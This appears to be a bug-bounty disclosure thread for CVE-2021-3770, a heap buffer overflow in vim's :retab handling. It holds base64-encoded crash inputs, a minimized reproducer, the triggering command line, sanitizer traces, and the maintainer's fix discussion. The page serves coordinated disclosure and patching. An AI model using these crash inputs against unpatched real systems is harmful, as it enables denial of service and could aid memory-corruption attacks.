Heap-based Buffer Overflow in vim/vim

Valid Reported on Sep 3rd 2021

1

✍️ Description

Hello, we hope this message finds you well during these challenging times. Whilst testing vim built from `commit deba5e` with Ubuntu clang version 12.0.0-3ubuntu1~20.04.3 and Address Sanitizer, we discovered crafted input which triggers a heap-buffer-overflow, `WRITE of size 15`. Please note that we ran `./configure --with-features=huge --enable-gui=none` before compiling.

🦹 Proof of Concept

First:

```
echo "c3YQIwhlZmllZAAuSgoxUmVzZXJ2F2QgU3RkaW5ngmluZwEAAABAAAAAZGmAAABzCiMKI
bmeRIHdoRjk5NDI5OSk5OTk5OTk5OTk5YzEl////YmQgCv4JCgovMAPoCgPoZEVmaVZlZAqSAIE
Ly8vLy8QZgp1RykKAQAKbGMKCi4wKi4ALkwKMSwwIwlVZXNlcnZlZCBTdGJpbgowLi8uMC8wCi0
MTQ3NHz///84LykxCkw5dQoDq/8KCnVuaWz4CiMKIwosCnN2EGYI/1xsAAAKcnYQ5C0ugP///zE
TAp0cnVlRWUwClN2YAogAIBlZgpwdQpyZXQ4NTU4NTk5OTk5OTk5OTk5NTU1NTU1NTU
```

Then, execute this command line: `vim -u NONE -X -Z -e -s -S fuzz448.txt -c :qa!`
The above POC returns this ASan stack trace:

```
==4482==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000(
WRITE of size 15 at 0x602000007608 thread T0
    #0 0x442ce1 in __asan_memmove (/home/geeknik/vim/src/vim+0x442ce1)
    #1 0x9bfa95 in ex_retab /home/geeknik/vim/src/indent.c:1691:4
    #2 0x7f18af in do_one_cmd /home/geeknik/vim/src/ex_docmd.c:2610:2
    #3 0x7f18af in do_cmdline /home/geeknik/vim/src/ex_docmd.c:999:17
    #4 0xf14850 in do_source /home/geeknik/vim/src/scriptfile.c:1406:5
    #5 0xf22862 in cmd_source /home/geeknik/vim/src/scriptfile.c:971:14
    #6 0xf22862 in ex_source /home/geeknik/vim/src/scriptfile.c:997:2
    #7 0x7f18af in do_one_cmd /home/geeknik/vim/src/ex_docmd.c:2610:2
    #8 0x7f18af in do_cmdline /home/geeknik/vim/src/ex_docmd.c:999:17
    #9 0x150f035 in do_cmdline_cmd /home/geeknik/vim/src/ex_docmd.c:593:12
    #10 0x150f035 in exe_commands /home/geeknik/vim/src/main.c:3081:2
    #11 0x150f035 in vim_main2 /home/geeknik/vim/src/main.c:773:2
    #12 0x1507859 in main /home/geeknik/vim/src/main.c:425:12
    #13 0x7f697524e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #14 0x3c81cd in _start (/home/geeknik/vim/src/vim+0x3c81cd)

0x602000007608 is located 8 bytes to the left of 7-byte region [0x60200000
allocated by thread T0 here:
    #0 0x44342d in malloc (/home/geeknik/vim/src/vim+0x44342d)
    #1 0x477d3d in lalloc /home/geeknik/vim/src/alloc.c:244:11
```

💥 Impact

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.
When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Occurrences

C alloc.c L244 C indent.c L1691

References

- CWE-122: Heap-based Buffer Overflow

CVE
CVE-2021-3770
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
High (8.6)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

geeknik
@geeknik
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 4,271 times.

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

geeknik a year ago — Researcher

@admin the maintainer's email address is in the README.md

Jamie Slome a year ago — Admin

@geeknik - got an e-mail going out to the main author now - thanks for the heads up!

We have contacted a member of the **vim** team and are waiting to hear back a year ago

A vim/vim maintainer a year ago — Maintainer

I cannot reproduce the problem. It doesn't even get to the memmove call that you have in the stack trace.
Which version of Vim is this with?
Please simplify the script as much as possible. Anybody can throw garbage around to see what fails, that is not helpful. We need to know the minimal sequence of commands to reproduce the problem.

geeknik a year ago — Researcher

Hello and thank you for the reply. As originally stated, this is vim master code, built from commit deba5e :

```
$ git log | head
commit deba5eb195d6ac70171d4973091fa884809fa3fa
Author: Bram Moolenaar <Bram@vim.org>
Date:   Fri Sep 3 19:21:36 2021 +0200

    patch 8.2.3399: Octave files are not recognized

    Problem:    Octave files are not recognized.
    Solution:   Detect Octave files. (Doug Kearns)

commit af631f61bc42d0dddafe1bc0c06872cf3aaeb239
```

```
$ clang --version
Ubuntu clang version 12.0.0-3ubuntu1~20.04.3
Target: x86_64-pc-linux-gnu
Thread model: posix
InstalledDir: /usr/bin
```

We can also trigger a crash with vim 8.1 (2018 May 18, compiled Apr 15 2020 06:40:31) installed by default on Ubuntu 20.04.3 LTS:

```
$ vim -u NONE -X -Z -e -s -S fuzz448.txt -c :qa!
munmap_chunk(): invalid pointer
Aborted
```

Here is what we see under gdb:

```
(gdb) bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1  0x00007ffff749d859 in __GI_abort () at abort.c:79
#2  0x00007ffff75083ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=
#3  0x00007ffff751047c in malloc_printerr (str=str@entry=0x7ffff76341e0 "munmap_chunk
#4  0x00007ffff75106cc in munmap_chunk (p=<optimized out>) at malloc.c:2830
#5  0x000055555564856f in ?? ()
#6  0x0000555555648cb3 in ?? ()
#7  0x00005555556535de in ?? ()
#8  0x0000555555653aff in ?? ()
#9  0x000055555563261a in ?? ()
#10 0x00005555555f74f8 in ?? ()
#11 0x00005555556c74de in ?? ()
#12 0x00005555556c8281 in ?? ()
#13 0x00005555555f74f8 in ?? ()
#14 0x0000555555776a4e in ?? ()
#15 0x0000555555584d75 in ?? ()
#16 0x00007ffff749f0b3 in __libc_start_main (main=0x555555584780, argc=11, argv=0x7ff
    stack_end=0x7fffffffe508) at ../csu/libc-start.c:308
#17 0x000055555558620e in ?? ()
(gdb) i r
rax            0x0                 0
rbx            0x7ffff7325800      140737340659712
rcx            0x7ffff74be18b      140737342333323
rdx            0x0                 0
rsi            0x7fffffffcb80      140737488341888
rdi            0x2                 2
rbp            0x7fffffffced0      0x7fffffffced0
rsp            0x7fffffffcb80      0x7fffffffcb80
r8             0x0                 0
r9             0x7fffffffcb80      140737488341888
r10            0x8                 8
r11            0x246               582
r12            0x7fffffffcdf0      140737488342512
r13            0x10                16
r14            0x7ffff7ffb000      140737354117120
r15            0x1                 1
rip            0x7ffff74be18b      0x7ffff74be18b <__GI_raise+203>
eflags         0x246               [ PF ZF IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
```

Exact steps we followed to find this bug:

```
1 -- git clone https://github.com/vim/vim

2 -- LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsanitize=address"
```

```
CXXFLAGS="-fsanitize=address" LDFLAGS="-ldl -fsanitize=address" ./configure --with-features=huge --
enable-gui=none

3 -- make

4 -- echo "c3YQIwhlZmllZAAuSgoxUmVzZXJ2F2QgU3RkaW5ngmluZwEAAABAAAAAZGmAAABzCiMKIwlThnJp
bmeRIHdoRjk5NDI5OSk5OTk5OTk5OTk5YzEl////YmQgCv4JCgovMAPoCgPoZEVmaVZlZAqSAIBl
Ly8vLy8QZgp1RykKAQAKbGMKCi4wKi4ALkwKMSwwIwlVZXNlcnZlZCBTdGJpbgowLi8uMC8wCi0y
MTQ3NHz///84LykxCkw5dQoDq/8KCnVuaWz4CiMKIwosCnN2EGYI/1xsAAAKcnYQ5C0ugP///zER
TAp0cnV1RWUwClN2YAogAIBlZgpwdQpyZXQ4NTU4NTk5OTk5OTk5OTk5NTU1NTU1NTU1" | base64 -d >
fuzz448.txt

5 -- vim -u NONE -X -Z -e -s -S fuzz448.txt -c :qa!
```

geeknik a year ago Researcher

Hello and thank you for your patience. We were able to minimize the script into this:

```
echo "bGMKc2YICnJldDgwMDAwMDAwMDAwMDAwMDAw" | base64 -d > fuzz448-min.txt
```

```
$ cat fuzz448-min.txt | od -tx1
0000000 6c 63 0a 73 66 08 0a 72 65 74 38 30 30 30 30 30
0000020 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
0000036
```

ASan stack with minimized script:

```
==38721==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000007188 at p
WRITE of size 15 at 0x602000007188 thread T0
    #0 0x442ce1 in __asan_memmove (/home/geeknik/vim/src/vim+0x442ce1)
    #1 0x9bfa95 in ex_retab /home/geeknik/vim/src/indent.c:1691:4
    #2 0x7f18af in do_one_cmd /home/geeknik/vim/src/ex_docmd.c:2610:2
    #3 0x7f18af in do_cmdline /home/geeknik/vim/src/ex_docmd.c:999:17
    #4 0xf14850 in do_source /home/geeknik/vim/src/scriptfile.c:1406:5
    #5 0xf22862 in cmd_source /home/geeknik/vim/src/scriptfile.c:971:14
    #6 0xf22862 in ex_source /home/geeknik/vim/src/scriptfile.c:997:2
    #7 0x7f18af in do_one_cmd /home/geeknik/vim/src/ex_docmd.c:2610:2
    #8 0x7f18af in do_cmdline /home/geeknik/vim/src/ex_docmd.c:999:17
    #9 0x150f035 in do_cmdline_cmd /home/geeknik/vim/src/ex_docmd.c:593:12
    #10 0x150f035 in exe_commands /home/geeknik/vim/src/main.c:3081:2
    #11 0x150f035 in vim_main2 /home/geeknik/vim/src/main.c:773:2
    #12 0x1507859 in main /home/geeknik/vim/src/main.c:425:12
    #13 0x7fae395640b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu
    #14 0x3c81cd in _start (/home/geeknik/vim/src/vim+0x3c81cd)

0x602000007188 is located 8 bytes to the left of 7-byte region [0x602000007190,0x6020
allocated by thread T0 here:
    #0 0x44342d in malloc (/home/geeknik/vim/src/vim+0x44342d)
    #1 0x477d3d in lalloc /home/geeknik/vim/src/alloc.c:244:11

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/geeknik/vim/src/vim+0x442ce1)
```

A vim/vim maintainer a year ago Maintainer

OK, I can reproduce it now, I'll make a fix.

A vim/vim maintainer a year ago Maintainer

Fix is in patch 8.2.3402 Please check you can no longer see the problem.

geeknik a year ago Researcher

patch 8.2.3402 fixed the reported issue. thank you.

however, LeakSanitizer is now reporting the loss of 8 bytes. this alert did not present itself before patch 8.2.3402.

```
=================================================================
==36905==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 8 byte(s) in 1 object(s) allocated from:
    #0 0x49bc6d in malloc (/home/geeknik/vim/src/vim+0x49bc6d)
    #1 0x4cd6b7 in lalloc /home/geeknik/vim/src/alloc.c:244:11
    #2 0xbcce66 in ex_retab /home/geeknik/vim/src/indent.c:1602:9
    #3 0x91e85c in do_one_cmd /home/geeknik/vim/src/ex_docmd.c:2610:2
    #4 0x91e85c in do_cmdline /home/geeknik/vim/src/ex_docmd.c:999:17
    #5 0x12952d6 in do_source /home/geeknik/vim/src/scriptfile.c:1406:5
    #6 0x1291feb in cmd_source /home/geeknik/vim/src/scriptfile.c:971:14
    #7 0x1a92dff in exe_commands /home/geeknik/vim/src/main.c:3081:2
    #8 0x1a92dff in vim_main2 /home/geeknik/vim/src/main.c:773:2
    #9 0x1a88f17 in main /home/geeknik/vim/src/main.c:425:12
    #10 0x7f6da313c0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu

SUMMARY: AddressSanitizer: 8 byte(s) leaked in 1 allocation(s).
```

A vim/vim maintainer a year ago — Maintainer

I'll make a followup fix. Also, the test fails without the +vartab feature.

geeknik a year ago — Researcher

patch 8.2.3403 fixes the memory leak on my side. thank you.

Jamie Slome a year ago — Admin

Just a reminder to `mark as valid` if this disclosure is reproducible and legitimate. This will ensure that @geeknik gets rewarded the bounty.

A vim/vim maintainer validated this vulnerability a year ago

geeknik has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

A vim/vim maintainer a year ago — Maintainer

I wonder if I can claim the fix bounty.

Bram Moolenaar marked this as fixed with commit b7081e a year ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Jamie Slome a year ago — Admin

Great work all!

Jamie Slome a year ago — Admin

CVE published! 🎉

Sign in to join this conversation